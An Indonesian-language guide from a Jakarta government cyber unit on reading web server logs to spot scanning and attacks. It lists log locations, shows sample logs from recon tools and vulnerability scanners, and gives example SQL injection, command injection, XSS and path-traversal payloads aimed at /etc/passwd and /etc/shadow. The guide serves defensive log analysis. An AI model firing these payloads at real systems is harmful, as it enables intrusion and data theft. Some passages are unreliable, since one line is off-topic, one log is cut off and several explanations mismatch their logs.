ANALISA POLA WEB ATTACK

Memahami jenis serangan melalui pola yang dicatat oleh log file.

Bidang Siber Sandi & Aplikasi
Diskominfotik DKI Jakarta

Juli 2024

Juli 2024

18	Exploitation CSRF
19	Exploitation Bruteforce - Login page
20	Exploitation Bruteforce - SSH
21	Exploitation File Upload
22	Exploitation Local File Inclusion - LFI
23	Exploitation Remote File Inclusion - RFI
24	Exploitation IDOR

APA ITU ANCAMAN SERANGAN WEB ?

PENGENALAN

Ancaman serangan terhadap website merupakan tantangan besar dalam dunia digital modern. Website tidak hanya menjadi wajah online dari perusahaan atau organisasi, tetapi juga menyimpan data sensitif dan melayani interaksi penting dengan pengguna. Berbagai jenis serangan dapat mengintai website, mulai dari yang sederhana seperti serangan brute force hingga yang lebih kompleks seperti serangan zero-day exploit yang mengeksploitasi celah keamanan yang belum diketahui.

1. **Jenis-Jenis Serangan yang Umum Terjadi pada Website**

Serangan website dapat bervariasi dalam bentuk dan kompleksitas. Salah satu jenis serangan yang paling umum adalah SQL Injection, di mana penyerang menyisipkan perintah SQL berbahaya melalui formulir atau input pengguna untuk mendapatkan akses ke database. Selain itu, Cross-Site Scripting (XSS) merupakan teknik di mana penyerang menyuntikkan skrip jahat ke dalam halaman web yang dilihat oleh pengguna lain, berpotensi mencuri informasi pribadi. Jenis serangan lainnya, seperti Cross-Site Request Forgery (CSRF), dapat mengecoh pengguna untuk melakukan tindakan yang tidak diinginkan, sedangkan Distributed Denial of Service (DDoS) berfungsi untuk membanjiri server dengan trafik berlebihan hingga menyebabkan gangguan layanan.

2. Dampak dari Serangan Website Terhadap Bisnis dan Pengguna

Dampak dari serangan website tidak hanya terbatas pada kerugian finansial, tetapi juga dapat merusak reputasi bisnis dan mempengaruhi kepercayaan pengguna. Serangan seperti pencurian data pengguna atau perusakan data dapat mengakibatkan kerugian yang signifikan, baik dalam bentuk kehilangan informasi penting maupun potensi denda dari regulator. Selain itu, gangguan layanan akibat serangan DDoS dapat menyebabkan website tidak tersedia untuk pengguna, yang dapat menurunkan kepuasan pelanggan dan menyebabkan kerugian pendapatan. Melindungi website dari ancaman ini adalah bagian integral dari manajemen risiko keamanan siber.

3. Pentingnya Pendidikan dan Kesadaran Keamanan untuk Pengguna dan Web Developer

Selain langkah teknis, pendidikan dan kesadaran keamanan merupakan komponen penting dalam melindungi website dari ancaman. Pengembang harus dilatih tentang praktik terbaik dalam keamanan aplikasi web, seperti validasi input dan penanganan kesalahan. Pengguna juga perlu diberi informasi tentang cara melindungi informasi pribadi mereka dan mengenali tanda-tanda potensi serangan. Dengan meningkatkan kesadaran di kalangan pengembang dan pengguna, dapat dibangun budaya keamanan yang mendukung upaya perlindungan website dari ancaman yang terus berkembang.

APA ITU LOG FILE ?

Log file adalah file yang menyimpan data tentang berbagai aktivitas atau kejadian yang terjadi pada sistem komputer atau aplikasi. Dalam konteks web server, log file mencatat informasi tentang permintaan (requests) yang diterima oleh server, respons (responses) yang dikirimkan, dan berbagai informasi tambahan yang berkaitan dengan kegiatan server.

Fungsi Log File Web Server

1. **Pemantauan Kinerja:**
Menyediakan data tentang waktu respons server, beban trafik, dan penggunaan sumber daya. Administrator dapat menggunakan informasi ini untuk memantau performa server.

2. Pemecahan Masalah:
Log file membantu dalam diagnosa masalah, seperti kesalahan konfigurasi, kesalahan aplikasi, atau masalah jaringan.

3. Keamanan:
Mencatat kejadian yang mencurigakan atau serangan yang mungkin terjadi, seperti upaya SQL Injection, Cross-Site Scripting (XSS), atau Brute Force Attacks.

4. Audit dan Kepatuhan:
Menyediakan jejak audit untuk memastikan bahwa sistem berfungsi sesuai dengan kebijakan keamanan dan peraturan kepatuhan.

5. Analisis Trafik:
Menganalisis pola lalu lintas pengguna, seperti waktu puncak, halaman yang paling banyak dikunjungi, dan sumber trafik.

Jenis-Jenis Log File Web Server

1. Access Logs (Log Akses):
Mencatat setiap permintaan yang diterima oleh server, termasuk informasi tentang pengunjung, permintaan URL, kode status HTTP, dan waktu.

2. Error Logs (Log Kesalahan):
Mencatat kesalahan yang terjadi di server, termasuk kesalahan server internal, kesalahan sintaks, dan kesalahan dalam aplikasi.

3. Debug Logs (Log Debug):
Mencatat informasi debug untuk pemecahan masalah lebih dalam, sering kali termasuk rincian yang lebih detail daripada log akses atau kesalahan.

LOKASI LOG FILE PADA WEB SERVER DAN BEBERAPA APLIKASI LAIN PADA LINUX

Nginx
- Access Log: /var/log/nginx/access.log
- Error Log: /var/log/nginx/error.log

Apache (httpd)
- Access Log: /var/log/apache2/access.log atau /var/log/httpd/access_log (tergantung distribusi)
- Error Log: /var/log/apache2/error.log atau /var/log/httpd/error_log (tergantung distribusi)

SSH
- Authentication Log: /var/log/auth.log (Debian/Ubuntu) atau /var/log/secure (RedHat/CentOS)

Syslog
- System Log: /var/log/syslog (Debian/Ubuntu) atau /var/log/messages (RedHat/CentOS)
- Kernel Log: /var/log/kern.log

Dmesg
- Boot and Kernel Messages: /var/log/dmesg (alternatively, the command dmesg can be used to view the kernel ring buffer)

MySQL
- General Query Log: /var/log/mysql/mysql.log or /var/log/mysql/mysql.log
- Error Log: /var/log/mysql/error.log
- Slow Query Log: /var/log/mysql/slow.log

PostgreSQL
- Main Log: /var/log/postgresql/postgresql-<version>-main.log (Debian/Ubuntu) or /var/lib/pgsql/<version>/data/pg_log/postgresql.log (RedHat/CentOS)

Docker
- Container Logs: /var/lib/docker/containers/<container-id>/<container-id>-json.log
- Alternatively, use the docker logs <container-id> command.

Crontab
- Cron Logs: /var/log/syslog (Debian/Ubuntu) or /var/log/cron (RedHat/CentOS)

FTP (vsftpd)
- Access Log: /var/log/vsftpd.log
- Xfer Log: /var/log/xferlog

Mail Server (Postfix)
- Main Log: /var/log/mail.log (Debian/Ubuntu) or /var/log/maillog (RedHat/CentOS)

PHP
- Error Log: Configurable in php.ini file. Common locations are /var/log/php_errors.log or within virtual host logs of Apache/Nginx.

JENIS POLA AKTIVITAS SERANGAN WEB

Memahami Pola Aktivitas Serangan Pada Web Server

Exploitation

As necessary, incorporate smart home technology to improve energy efficiency and reduce waste.

Vulnerability Scanning

Proses mengidentifikasi dan menemukan kelemahan atau kerentanan dalam sebuah sistem

Reconnaissance

Tahap kegiatan dimana penyerang mengumpulkan informasi sebanyak mungkin mengenai target

Reconnaissance.

RECONNAISSANCE

Dirsearch

Dirsearch adalah alat pemindaian direktori dan file yang dirancang untuk melakukan pencarian secara rekursif dan mendalam di dalam sebuah situs web. Alat ini bekerja dengan mengirimkan permintaan HTTP ke situs web dan menganalisis responsnya untuk menemukan semua kemungkinan direktori dan file yang ada. Dirsearch membantu para ahli keamanan untuk melakukan pemindaian yang komprehensif terhadap sebuah situs web dan mengidentifikasi area-area yang mungkin rentan terhadap serangan.

Berikut adalah contoh log web server yang dihasilkan dari request menggunakan alat `dirsearch`, yang biasanya digunakan untuk mencari direktori dan file yang tersembunyi pada sebuah situs web. Log ini menunjukkan bagaimana permintaan HTTP yang dihasilkan oleh `dirsearch` dicatat oleh log server web.

Contoh log dibawah memberikan informasi bahwa ada permintaan untuk mengakses folder atau file yang tidak biasa atau yang bersifat rahasia.

192.168.1.5 - - [10/Jul/2024:10:05:32 +0000] "GET /admin HTTP/1.1" 200 4572 "-" "dirsearch/1.0"
192.168.1.5 - - [10/Jul/2024:10:05:33 +0000] "GET /login HTTP/1.1" 200 3921 "-" "dirsearch/1.0"
192.168.1.5 - - [10/Jul/2024:10:05:35 +0000] "GET /images HTTP/1.1" 403 293 "-" "dirsearch/1.0"
192.168.1.5 - - [10/Jul/2024:10:05:37 +0000] "GET /uploads HTTP/1.1" 403 300 "-" "dirsearch/1.0"
192.168.1.5 - - [10/Jul/2024:10:05:40 +0000] "GET /backup HTTP/1.1" 404 205 "-" "dirsearch/1.0"

Penjelasan Log:

- **192.168.1.5** adalah alamat IP dari alat dirsearch.
- **[10/Jul/2024:10:05:32 +0000]** adalah timestamp dari permintaan.
- **"GET /admin HTTP/1.1"** menunjukkan metode HTTP dan path yang diminta.
- **200** adalah kode status HTTP yang menunjukkan bahwa permintaan berhasil.
- **4572** adalah ukuran respons dalam byte.
- **"-"** adalah referer, menunjukkan tidak ada halaman sebelumnya dalam log ini.
- **"dirsearch/1.0"** adalah User-Agent dirsearch yang digunakan

RECONNAISSANCE

Gobuster

Gobuster adalah alat serangan pencarian (brute-force) yang dirancang untuk mencari direktori dan file tersembunyi di dalam sebuah situs web. Alat ini bekerja dengan mengirimkan serangkaian permintaan HTTP ke situs web dengan menguji setiap kemungkinan URL secara otomatis. Gobuster membantu untuk menemukan informasi yang tersembunyi, seperti halaman-halaman yang tidak terdaftar secara publik atau direktori-direktori yang tidak terlihat secara langsung. Ini memungkinkan para ahli keamanan untuk mendapatkan pemahaman yang lebih baik tentang struktur situs web dan mengidentifikasi area-area yang mungkin menjadi sasaran serangan.

Berikut adalah contoh log web server yang dihasilkan dari request menggunakan alat `gobuster`, yang biasanya digunakan untuk mencari direktori dan file yang tersembunyi pada sebuah situs web. Log ini menunjukkan bagaimana permintaan HTTP yang dihasilkan oleh `gobuster` dicatat oleh server web.

192.168.1.5 - - [10/Jul/2024:12:30:01 +0000] "GET /admin HTTP/1.1" 200 5324 "-" "Gobuster/3.3.1 (dir:dir, wordlist:/path/to/wordlist.txt)"
192.168.1.5 - - [10/Jul/2024:12:30:05 +0000] "GET /login HTTP/1.1" 200 4121 "-" "Gobuster/3.3.1 (dir:dir, wordlist:/path/to/wordlist.txt)"
192.168.1.5 - - [10/Jul/2024:12:30:10 +0000] "GET /uploads HTTP/1.1" 403 301 "-" "Gobuster/3.3.1 (dir:dir, wordlist:/path/to/wordlist.txt)"
192.168.1.5 - - [10/Jul/2024:12:30:15 +0000] "GET /admin/config HTTP/1.1" 404 198 "-" "Gobuster/3.3.1 (dir:dir, wordlist:/path/to/wordlist.txt)"
192.168.1.5 - - [10/Jul/2024:12:30:20 +0000] "GET /files HTTP/1.1" 301 183 "-" "Gobuster/3.3.1 (dir:dir, wordlist:/path/to/wordlist.txt)"

Penjelasan Log:

- **192.168.1.5** adalah alamat IP dari alat Gobuster.
- **[10/Jul/2024:12:30:01 +0000]** adalah timestamp dari permintaan.
- **"GET /admin HTTP/1.1"** menunjukkan metode HTTP dan path yang diminta.
- **200** adalah kode status HTTP yang menunjukkan bahwa permintaan berhasil.
- **5324** adalah ukuran respons dalam byte.
- **"-"** adalah referer, menunjukkan tidak ada halaman sebelumnya dalam log ini.
- **"Gobuster/3.3.1 (dir:dir, wordlist:/path/to/wordlist.txt)"** adalah User-Agent Gobuster yang digunakan.

RECONNAISSANCE

Dirb

Dirb, singkatan dari "Directory Buster", adalah alat yang digunakan untuk melakukan serangan pencarian (atau brute-force) terhadap sebuah situs web dengan tujuan menemukan direktori dan file tersembunyi. Dirb bekerja dengan mengirimkan permintaan HTTP ke situs web dan menganalisis respons yang diterima untuk mengidentifikasi halaman-halaman atau direktori-direktori yang mungkin tidak terlihat secara langsung. Ini memungkinkan para ahli keamanan untuk secara sistematis menjelajahi struktur situs web dan mengidentifikasi area-area yang mungkin rentan terhadap serangan.

Berikut adalah contoh log web server yang dihasilkan dari request menggunakan alat `dirb`, yang biasanya digunakan untuk mencari direktori dan file yang tersembunyi pada sebuah situs web. Log ini menunjukkan bagaimana permintaan HTTP yang dihasilkan oleh `dirb` direkam oleh server web.

192.168.0.11 - - [03/Jul/2024:14:45:00 +0000] "GET / HTTP/1.1" 200 11321 "-" "Mozilla/5.0 (compatible; dirb/2.22; +http://dirb.sourceforge.net)"
192.168.0.11 - - [03/Jul/2024:14:45:01 +0000] "GET /admin HTTP/1.1" 404 150 "-" "Mozilla/5.0 (compatible; dirb/2.22; +http://dirb.sourceforge.net)"
192.168.0.11 - - [03/Jul/2024:14:45:02 +0000] "GET /login HTTP/1.1" 200 567 "-" "Mozilla/5.0 (compatible; dirb/2.22; +http://dirb.sourceforge.net)"
192.168.0.11 - - [03/Jul/2024:14:45:03 +0000] "GET /dashboard HTTP/1.1" 404 150 "-" "Mozilla/5.0 (compatible; dirb/2.22; +http://dirb.sourceforge.net)"
192.168.0.11 - - [03/Jul/2024:14:45:04 +0000] "GET /config HTTP/1.1" 403 234 "-" "Mozilla/5.0 (compatible; dirb/2.22; +http://dirb.sourceforge.net)"

Penjelasan setiap bagian dari log:

- **192.168.0.11**: IP address dari client yang membuat request.
- **- [03/Jul/2024:14:45:00 +0000]**: Timestamp saat request dilakukan.
- **"GET / HTTP/1.1"**: Request method, path, dan protocol yang digunakan.
- **200**: Status code yang dikembalikan oleh server.
- **11321**: Ukuran respon (dalam byte).
- **"-"**: Referer (tidak ada dalam hal ini).
- **"Mozilla/5.0 (compatible; dirb/2.22; +http://dirb.sourceforge.net)"**: User-agent yang digunakan oleh dirb.

Log ini menunjukkan permintaan HTTP ke berbagai endpoint seperti /, /admin, /login, /dashboard, /config, /admin.php, /login.php, /dashboard.php, /config.php, /backup, /secret, /test, dan /backup.zip, serta respons dari server seperti status code dan ukuran respons.

RECONNAISSANCE

Nikto

Nikto adalah alat pemindaian kerentanan yang dirancang untuk menemukan kerentanan keamanan di dalam sebuah situs web. Alat ini secara otomatis mengirimkan permintaan HTTP ke situs web dan menganalisis responsnya untuk mencari tahu apakah terdapat kerentanan yang rentan dieksploitasi. Nikto dapat mengidentifikasi berbagai jenis kerentanan, termasuk file yang tidak terlindungi, versi perangkat lunak yang rentan, konfigurasi server yang tidak aman, dan banyak lagi. Hal ini memungkinkan para ahli keamanan untuk secara proaktif mengidentifikasi dan memperbaiki kerentanan sebelum mereka dieksploitasi oleh pihak yang tidak bertanggung jawab.

Berikut adalah contoh log web server yang dihasilkan dari request menggunakan alat `Nikto`, yang biasanya digunakan untuk memindai web server dan mengidentifikasi potensi kerentanan. Log ini menunjukkan bagaimana permintaan HTTP yang dihasilkan oleh `Nikto` dicatat oleh server web.

192.168.1.10 - - [03/Jul/2024:14:35:04 +0000] "GET /login HTTP/1.1" 200 567 "-" "Mozilla/5.0 (Nikto/2.1.6) (Evasions:None) (Test:default)"
192.168.1.10 - - [03/Jul/2024:14:35:05 +0000] "GET /server-status HTTP/1.1" 403 234 "-" "Mozilla/5.0 (Nikto/2.1.6) (Evasions:None) (Test:default)"
192.168.1.10 - - [03/Jul/2024:14:35:06 +0000] "GET /config HTTP/1.1" 403 234 "-" "Mozilla/5.0 (Nikto/2.1.6) (Evasions:None) (Test:default)"
192.168.1.10 - - [03/Jul/2024:14:35:07 +0000] "GET /phpmyadmin HTTP/1.1" 404 150 "-" "Mozilla/5.0 (Nikto/2.1.6) (Evasions:None) (Test:default)"
192.168.1.10 - - [03/Jul/2024:14:35:08 +0000] "GET /test HTTP/1.1" 404 150 "-" "Mozilla/5.0 (Nikto/2.1.6) (Evasions:None) (Test:default)"
192.168.1.10 - - [03/Jul/2024:14:35:09 +0000] "GET /backup HTTP/1.1" 404 150 "-" "Mozilla/5.0 (Nikto/2.1

Penjelasan setiap bagian dari log:

- **192.168.1.10**: IP address dari client yang membuat request.
- **- [03/Jul/2024:14:35:00 +0000]**: Timestamp saat request dilakukan.
- **"GET / HTTP/1.1"**: Request method, path, dan protocol yang digunakan.
- **200**: Status code yang dikembalikan oleh server.
- **11321**: Ukuran respon (dalam byte).
- **"-"**: Referer (tidak ada dalam hal ini).
- **"Mozilla/5.0 (Nikto/2.1.6) (Evasions:None) (Test:default)"**: User-agent yang digunakan oleh Nikto.

Log ini menunjukkan permintaan HTTP ke berbagai endpoint seperti /, /robots.txt, /admin, /login, /server-status, /config, /phpmyadmin, /test, dan /backup, serta respons dari server seperti status code dan ukuran respons.

RECONNAISSANCE

NMAP

NMAP adalah alat open source untuk eksplorasi jaringan dan audit keamanan. Dikenal juga sebagai Network Mapper, NMAP digunakan untuk menemukan host dan layanan di jaringan komputer, sehingga menciptakan "peta" jaringan. NMAP dirancang untuk memindai jaringan besar, tetapi juga bekerja dengan baik terhadap host tunggal. Alat ini sangat berguna untuk pemindaian sistem, pemindaian jaringan, dan pemantauan host atau layanan.

Berikut adalah contoh log web server yang dihasilkan dari request menggunakan alat `nmap`, yang biasanya digunakan untuk pemindaian port dan layanan pada jaringan. Jika `nmap` digunakan untuk memindai layanan web, log ini akan menunjukkan bagaimana permintaan HTTP yang dihasilkan oleh `nmap` direkam oleh server web.

192.168.1.10 - - [03/Jul/2024:14:40:00 +0000] "GET / HTTP/1.1" 200 11321 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.10 - - [03/Jul/2024:14:40:01 +0000] "GET /robots.txt HTTP/1.1" 200 23 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.10 - - [03/Jul/2024:14:40:02 +0000] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.10 - - [03/Jul/2024:14:40:03 +0000] "GET /admin HTTP/1.1" 404 150 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.10 - - [03/Jul/2024:14:40:04 +0000] "GET /login HTTP/1.1" 200 567 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.10 - - [03/Jul/2024:14:40:05 +0000] "GET /server-status HTTP/1.1" 403 234 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
192.168.1.10 - - [03/Jul/2024:14:40:06 +0000] "GET /config HTTP/1.1" 403 234 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"

Penjelasan setiap bagian dari log:

- **192.168.1.10**: IP address dari client yang membuat request.
- - **[03/Jul/2024:14:40:00 +0000]**: Timestamp saat request dilakukan.
- **"GET / HTTP/1.1"**: Request method, path, dan protocol yang digunakan.
- **200**: Status code respon yang dikembalikan oleh server ke user.
- **11321**: Ukuran respon (dalam byte).
- **"-"**: Referer (tidak ada dalam hal ini).
- **"Mozilla/5.0 (compatible; Nmap Scripting Engine; <https://nmap.org/book/nse.html>)"**: User-agent yang digunakan oleh nmap.

Vulnerability Scanning.

VULNERABILITY SCANNING

Acunetix

Acunetix merupakan alat pemindaian kerentanan/vulnerability scanning yang fokus pada aplikasi web dan situs web. Ini berarti Acunetix akan memeriksa setiap bagian dari situs web Anda untuk menemukan celah keamanan seperti serangan SQL injection atau cross-site scripting. Dalam hal ini, Acunetix sangat baik dalam menemukan kerentanan yang spesifik untuk aplikasi web dan membantu Anda melindungi situs web Anda dari serangan.

Acunetix adalah alat yang sangat berguna untuk tim keamanan siber dan pengembang aplikasi dalam mendeteksi dan mengevaluasi kerentanan keamanan aplikasi web dan API. Ini adalah pilihan yang baik untuk organisasi yang mencari solusi pemindaian keamanan otomatis dan komprehensif.

Contoh Log:

192.168.1.5 - - [10/Jul/2024:09:00:10 +0000] "GET / HTTP/1.1" 200 3421 "-" "Acunetix"
192.168.1.5 - - [10/Jul/2024:09:00:15 +0000] "GET /login HTTP/1.1" 200 3892 "-" "Acunetix"
192.168.1.5 - - [10/Jul/2024:09:00:20 +0000] "POST /login HTTP/1.1" 302 291 "-" "Acunetix"
192.168.1.5 - - [10/Jul/2024:09:00:25 +0000] "GET /dashboard HTTP/1.1" 200 5234 "-" "Acunetix"
192.168.1.5 - - [10/Jul/2024:09:00:30 +0000] "GET /admin HTTP/1.1" 403 305 "-" "Acunetix"

Penjelasan Log:

- 192.168.1.5 adalah alamat IP dari alat Acunetix.
- [10/Jul/2024:09:00:10 +0000] adalah timestamp dari permintaan.
- "GET / HTTP/1.1" adalah metode HTTP dan path yang diminta.
- 200 adalah kode status HTTP yang menunjukkan bahwa permintaan berhasil.
- 3421 adalah ukuran respons dalam byte.
- "-" adalah referer, menunjukkan tidak ada halaman sebelumnya dalam log ini.
- "Acunetix" adalah User-Agent yang digunakan oleh Acunetix.

VULNERABILITY SCANNING

Nessus

Nessus adalah alat pemindaian kerentanan yang lebih luas. Ini tidak hanya memeriksa situs web, tetapi juga infrastruktur jaringan Anda secara keseluruhan. Nessus akan memeriksa setiap perangkat dalam jaringan Anda, seperti server, router, dan printer, untuk menemukan kerentanan yang mungkin dieksploitasi oleh penyerang. Dengan Nessus, Anda bisa mendapatkan gambaran keseluruhan tentang keamanan jaringan Anda.

Nessus merupakan alat yang ideal untuk pemindai kerentanan jaringan dan sistem, terutama dalam penilaian kerentanan berbasis jaringan. Ini adalah alat yang sangat baik untuk tim keamanan jaringan dan administrator TI yang perlu melakukan pemindaian mendalam pada infrastruktur TI mereka.

Contoh Log:

192.168.1.100 - - [09/Jul/2024:12:34:58 +0000] "GET /admin HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:34:59 +0000] "GET /login HTTP/1.1" 200 332 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:35:00 +0000] "GET /wp-login.php HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:35:01 +0000] "GET /phpmyadmin HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:35:02 +0000] "GET /server-status HTTP/1.1" 200 324 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:35:03 +0000] "GET /config.php HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:35:04 +0000] "GET /sitemap.xml HTTP/1.1" 200 248 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"
192.168.1.100 - - [09/Jul/2024:12:35:05 +0000] "GET /hidden/admin HTTP/1.1" 404 162 "-" "Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"

Penjelasan Log:

- **192.168.1.100**: Alamat IP dari Nessus Scanner.
- **[09/Jul/2024:12:35:02 +0000]** : Timestamp waktu permintaan dilakukan.
- **"GET / HTTP/1.1"**: adalah metode HTTP dan path yang diminta.
- **200** adalah kode status HTTP yang menunjukkan bahwa permintaan berhasil.
- **332** adalah ukuran respons dalam byte.
- **Mozilla/5.0 (compatible; Nessus/10.0; Windows NT)"**: adalah user-agent yang digunakan oleh nessus

VULNERABILITY SCANNING

Nuclei

Nuclei adalah alat pemindai keamanan sumber terbuka yang dikembangkan oleh ProjectDiscovery. Ini digunakan untuk melakukan pemindaian kerentanan dengan mengidentifikasi masalah keamanan berdasarkan pola dan template yang dapat disesuaikan.

Nuclei merupakan alat yang sangat fleksibel untuk melakukan pemindaian kerentanan berbasis template. Ini berguna untuk penguji penetrasi, analis keamanan, dan tim DevSecOps yang memerlukan alat pemindaian yang dapat disesuaikan dan terintegrasi dengan pipeline CI/CD mereka.

Contoh Log:

192.168.1.102 - - [10/Jul/2024:16:25:16 +0000] "GET /files/../../../etc/shadow HTTP/1.1" 403 310 "-" "Nuclei/2.5.0"
192.168.1.102 - - [10/Jul/2024:16:25:18 +0000] "GET /files/../../../../etc/passwd HTTP/1.1" 200 5130 "-" "Nuclei/2.5.0"
192.168.1.102 - - [10/Jul/2024:16:25:20 +0000] "GET /files/../../../../../etc/passwd HTTP/1.1" 200 5140 "-" "Nuclei/2.5.0"

192.168.1.101 - - [10/Jul/2024:15:15:26 +0000] "GET /search?q=<img src=x onerror=alert(3)> HTTP/1.1" 200 4910 "-" "Nuclei/2.5.0"
192.168.1.101 - - [10/Jul/2024:15:15:28 +0000] "GET /search?q=<svg/onload=alert(4)> HTTP/1.1" 200 4920 "-" "Nuclei/2.5.0"
192.168.1.101 - - [10/Jul/2024:15:15:30 +0000] "GET /search?q=<script>document.cookie</script> HTTP/1.1" 200 4930 "-" "Nuclei/2.5.0"

Penjelasan Log:

- 192.168.1.100 adalah alamat IP dari alat Nuclei.
- [10/Jul/2024:14:05:12 +0000] adalah timestamp dari permintaan.
- "GET / HTTP/1.1" adalah metode HTTP dan path yang diminta.
- 200 adalah kode status HTTP yang menunjukkan bahwa permintaan berhasil.
- 3456 adalah ukuran respons dalam byte.
- "-" adalah referer, menunjukkan tidak ada halaman sebelumnya dalam log ini.
- "Nuclei/2.5.0" adalah User-Agent yang digunakan oleh Nuclei.

Exploitation.

EXPLOITATION

SQL Injection

SQL Injection adalah jenis serangan keamanan di mana penyerang mengeksploitasi kerentanan dalam aplikasi web untuk menjalankan perintah SQL yang tidak diinginkan dalam basis data. Serangan ini sering terjadi ketika aplikasi web memproses input pengguna tanpa validasi atau pemrosesan yang benar, memungkinkan penyerang untuk menyuntikkan kode SQL berbahaya yang dapat digunakan untuk mengambil, mengubah, atau menghapus data dari basis data.
Jenis SQL Injection meliputi:

- In-band SQL Injection: Penyerang dapat menggunakan saluran yang sama untuk menyerang dan mendapatkan hasil, misalnya Error-Based atau Union-Based SQL Injection.
- Blind SQL Injection: Penyerang tidak melihat hasil serangan secara langsung, tetapi dapat menentukan hasil berdasarkan perubahan respons atau waktu, misalnya Boolean-Based atau Time-Based SQL Injection.
- Out-of-Band SQL Injection: Penyerang menggunakan saluran yang berbeda untuk mendapatkan hasil serangan, seperti melakukan DNS atau HTTP request dari basis data.

Contoh SQL Injection Umum (Simple SQL Injection)

curl -X GET "https://example.com/products?id=1' OR '1'='1"

Penjelasan SQL Injection Command:

- Payload: id=1' OR '1'='1
- Tujuan: Memodifikasi query SQL menjadi sesuatu seperti SELECT * FROM products WHERE id = '1' OR '1'='1', yang selalu benar dan mengembalikan semua data produk.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "GET /products?id=1%27%20OR%20%271%27%3D%271 HTTP/1.1" 200 4520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **"GET / HTTP/1.1"** adalah metode HTTP dan path yang diminta.
- **/products?id=1%27%20OR%20%271%27%3D%271** : Permintaan HTTP dengan parameter id yang disuntikkan dengan payload 1' OR '1'='1 untuk mem-bypass autentikasi.
- **200**: Kode status HTTP yang menunjukkan permintaan berhasil diproses.
- **4520**: Ukuran respons dalam byte.

EXPLOITATION

Command Injection

Command Injection adalah jenis serangan di mana penyerang mengeksploitasi kerentanan dalam aplikasi web untuk menjalankan perintah sistem operasi yang tidak diinginkan pada server. Serangan ini sering terjadi ketika aplikasi web mengambil input dari pengguna dan mengeksekusinya sebagai perintah shell atau sistem operasi tanpa validasi atau sanitasi yang memadai.

Jenis Command Injection termasuk:

- Simple Command Injection: Menyuntikkan perintah dasar untuk eksekusi.
- Chaining Commands: Menggunakan operator seperti &&, ||, atau ; untuk mengeksekusi beberapa perintah.
- Environment Variables Injection: Memanipulasi variabel lingkungan untuk menjalankan perintah berbahaya.

Contoh Command Injection Umum

curl -X POST "https://example.com/execute?command=ls"

Penjelasan Command Injection:

- Payload: command=ls
- Tujuan: Mengeksekusi perintah ls untuk menampilkan daftar file dalam direktori saat ini.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "POST /execute?command=ls HTTP/1.1" 200 5120 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **"POST / HTTP/1.1"** adalah metode HTTP dan path yang diminta.
- **/execute?command=ls HTTP/1.1**: Permintaan HTTP dengan parameter command=ls yang disuntikkan untuk mengeksekusi perintah ls.
- **200**: Kode status HTTP yang menunjukkan permintaan berhasil diproses.

EXPLOITATION

XSS - Stored

XSS Stored adalah jenis serangan Cross-Site Scripting (XSS) di mana penyerang menyuntikkan skrip jahat ke dalam penyimpanan permanen aplikasi web, seperti basis data, sistem file, atau storage backend. Skrip berbahaya ini disimpan dan kemudian disajikan kembali kepada pengguna lain yang mengunjungi halaman yang terinfeksi. Ini memungkinkan penyerang untuk mengeksekusi skrip di browser korban yang dapat mencuri data sensitif, mencemari sesi, atau melakukan tindakan berbahaya lainnya.

Contoh XSS Stored dengan Payload Sederhana

curl -X POST "https://example.com/comment" -d "comment=<script>alert('XSS Stored')</script>"

Penjelasan XSS Command:

- Payload: <script>alert('XSS Stored')</script>
- Tujuan: Menyuntikkan skrip yang akan disimpan dan dieksekusi ketika halaman komentar diakses oleh pengguna lain.

Contoh log:

192.168.1.100 - - [10/Jul/2024:14:10:01 +0000] "POST /comment HTTP/1.1" 200 1534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"

Penjelasan Log:

- **192.168.1.100**: adalah alamat IP user.
- **[10/Jul/2024:14:10:01 +0000]** adalah timestamp dari permintaan.
- **"POST / HTTP/1.1"** adalah metode HTTP dan path yang diminta.
- **/comment HTTP/1.1**: Permintaan HTTP POST untuk mengirim komentar dengan payload <script>alert('XSS Stored')</script>.
- **200**: Kode status HTTP yang menunjukkan permintaan berhasil diproses.
- **1534**: Ukuran respons dalam byte.
-

EXPLOITATION

XSS - Reflected

